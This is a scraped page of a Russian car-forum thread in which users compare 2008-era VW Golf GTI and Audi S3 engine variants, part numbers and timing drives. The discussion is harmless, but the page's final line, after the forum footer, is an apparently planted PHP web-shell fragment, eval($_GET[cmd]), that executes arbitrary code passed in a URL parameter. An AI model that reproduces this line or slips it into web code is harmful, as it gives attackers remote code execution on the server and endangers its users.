+ Ответить в теме
Страница 2 из 4 ПерваяПервая 1 2 3 4 ПоследняяПоследняя
Показано с 11 по 20 из 35

Тема: Повесть О Новом Моторе В 5ом Гти 2008+ Года


  1. #11
    а вот у меня BWJ. какой мотор в юбилейном?

  2. #12
    В юбилейном мотор BYD, в S3 мотор BHZ.

  3. #13
    <div class='quotetop'>Цитата(chess &#064; Jun 25 2008, 14&#58;24) <{POST_SNAPBACK}></div><div class='quotemain'>i&#39;ve got BWA [/b][/quote]

    +1
    хотя 2008 г., мартовская сборка

  4. #14
    <div class='quotetop'>Цитата(Griffin &#064; Jun 26 2008, 12&#58;33) <{POST_SNAPBACK}></div><div class='quotemain'>В юбилейном мотор BYD, в S3 мотор BHZ.[/b][/quote]
    а в чем собственно разница?? только в буквах и программе?

  5. #15
    GTI-Racing Bet is on a distinguished road Аватар для Bet
    Регистрация
    23.04.2008
    Откуда
    House
    Машина
    VW
    Сообщений
    148
    нет наверно, от с3 265 лошадок, в другом 211

  6. #16
    GTI-Racing RemAVal is on a distinguished road Аватар для RemAVal
    Регистрация
    11.04.2008
    Откуда
    Питер
    Машина
    BMW 330 CI
    Сообщений
    74
    Немного про отличия:
    Блок цилиндров и головка блока - другие, отказались от двух массового маховика в пользу балансирных валов, поршни другие, клапана такие же, привод ГРМ цепной как и у 1.4, у нас ремень...
    Расходомер, вместо датчика давления и другой воздушный фильтр, другие форсунки и топливный насос, другая турбина, такая же задняя банка глушителя&#33;
    Вообщем почти все другое...

    Ну и самое главное новый блок управления двигателем MED 17, который пока не чипуется&#33;
    :) GTI Helper :) 921-759-92-59 ;)

  7. #17
    <div class='quotetop'>Цитата(RemAVal &#064; Aug 12 2008, 00&#58;25) <{POST_SNAPBACK}></div><div class='quotemain'>Немного про отличия:
    Блок цилиндров и головка блока - другие, отказались от двух массового маховика в пользу балансирных валов, поршни другие, клапана такие же, привод ГРМ цепной как и у 1.4, у нас ремень...
    Расходомер, вместо датчика давления и другой воздушный фильтр, другие форсунки и топливный насос, другая турбина, такая же задняя банка глушителя&#33;
    Вообщем почти все другое...

    Ну и самое главное новый блок управления двигателем MED 17, который пока не чипуется&#33;[/b][/quote]


    Прав, но частично.
    У С3 такой же приворд грм как и у нас - цепно-ременной, ремкомплект на него 06F198119B, номер цепи у нас одинаковый и про балансирные валы я никакой информации в этом моторе не вижу, поршня другого диаметра (у С3 - 82,51, на BWA - 82,5), но вроде не кованные. Колено одинаковое, а вот распреды разные (что логично). Клапана и возвратные пружины у этих моторов полностью идентичные. Про двухмассовый маховик инфы не нашел пока, по номерам они разные, но и ручной и ДСГшный маховики тоже разные. Если сравнивать BHZ и BYD, то по форсункам, турбине, топливному насосу (тут вообще полная идентичность на всех моторах) они идентичны. Головы разные по причине разной СЖ моторов. Блоки разные, потому что на С3 обычно ставят чуть более усиленный (как на предыдущем перегородок больше).
    Резюмируя - есть мотор BWA, взятый за основу. Из него путем усиления и настройки сделали BHZ. Затем с BHZ взяли навесное и воткнули в BWA, получив при этом BYD.

  8. #18
    GTI-Racing RemAVal is on a distinguished road Аватар для RemAVal
    Регистрация
    11.04.2008
    Откуда
    Питер
    Машина
    BMW 330 CI
    Сообщений
    74
    <div class='quotetop'>Цитата(Griffin &#064; Aug 12 2008, 10&#58;15) <{POST_SNAPBACK}></div><div class='quotemain'>Прав, но частично.
    У С3 такой же приворд грм как и у нас - цепно-ременной, ремкомплект на него 06F198119B, номер цепи у нас одинаковый и про балансирные валы я никакой информации в этом моторе не вижу, поршня другого диаметра (у С3 - 82,51, на BWA - 82,5), но вроде не кованные. Колено одинаковое, а вот распреды разные (что логично). Клапана и возвратные пружины у этих моторов полностью идентичные. Про двухмассовый маховик инфы не нашел пока, по номерам они разные, но и ручной и ДСГшный маховики тоже разные. Если сравнивать BHZ и BYD, то по форсункам, турбине, топливному насосу (тут вообще полная идентичность на всех моторах) они идентичны. Головы разные по причине разной СЖ моторов. Блоки разные, потому что на С3 обычно ставят чуть более усиленный (как на предыдущем перегородок больше).
    Резюмируя - есть мотор BWA, взятый за основу. Из него путем усиления и настройки сделали BHZ. Затем с BHZ взяли навесное и воткнули в BWA, получив при этом BYD.[/b][/quote]

    Не совсем

    BWA
    Колено 06A105021AR
    Ремень 06D109119B

    ССТА
    Колено 06H105021F
    Ремень 06H109158J а тут не ремень а цепь&#33;

    Так что на новом моторе ни каких работ по замене ремня&#33; А мы вэлкам на сервис
    :) GTI Helper :) 921-759-92-59 ;)

  9. #19
    <div class='quotetop'>Цитата(RemAVal &#064; Aug 12 2008, 13&#58;31) <{POST_SNAPBACK}></div><div class='quotemain'>Не совсем

    BWA
    Колено 06A105021AR
    Ремень 06D109119B

    ССТА
    Колено 06H105021F
    Ремень 06H109158J а тут не ремень а цепь&#33;

    Так что на новом моторе ни каких работ по замене ремня&#33; А мы вэлкам на сервис [/b][/quote]


    Не, я не про ССТА, а про BWA / BHZ / BYD. Вопросов много, так что тут перемешалось все ессно.
    ССТА другой. Да и в С3 не ставят ССТА насколко знают, и вроде не планировали.

  10. #20
    GTI-Racing RemAVal is on a distinguished road Аватар для RemAVal
    Регистрация
    11.04.2008
    Откуда
    Питер
    Машина
    BMW 330 CI
    Сообщений
    74
    <div class='quotetop'>Цитата(Griffin &#064; Aug 12 2008, 13&#58;42) <{POST_SNAPBACK}></div><div class='quotemain'>Не, я не про ССТА, а про BWA / BHZ / BYD. Вопросов много, так что тут перемешалось все ессно.
    ССТА другой. Да и в С3 не ставят ССТА насколко знают, и вроде не планировали.[/b][/quote]

    Понял Так мы тоже прогресс началось все с АХХ в 2004 году, кстати на сирокко будет ставиться как раз ССТА
    :) GTI Helper :) 921-759-92-59 ;)

+ Ответить в теме
Страница 2 из 4 ПерваяПервая 1 2 3 4 ПоследняяПоследняя

Похожие темы

  1. [Самара] Запчасти от vw golf mk5 GTi 2008 года
    от blackx в разделе Покупка и продажа запчастей
    Ответов: 23
    Последнее сообщение: 30.12.2015, 20:18
  2. Продам Golf V GTI 2008 года
    от Desvon в разделе Покупка и продажа авто
    Ответов: 0
    Последнее сообщение: 04.04.2014, 23:13
  3. Неспешно продам свой MKV GTI DSG 2008 года
    от Siamcat в разделе Покупка и продажа
    Ответов: 2
    Последнее сообщение: 16.09.2011, 14:22
  4. Продаю Golf V GTI DSG 2008 года.
    от Марат в разделе Покупка и продажа авто
    Ответов: 28
    Последнее сообщение: 11.05.2011, 17:59
  5. Golf V GTI 2008 года продаю!!!
    от john33 в разделе Покупка и продажа авто
    Ответов: 3
    Последнее сообщение: 09.06.2009, 10:56

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}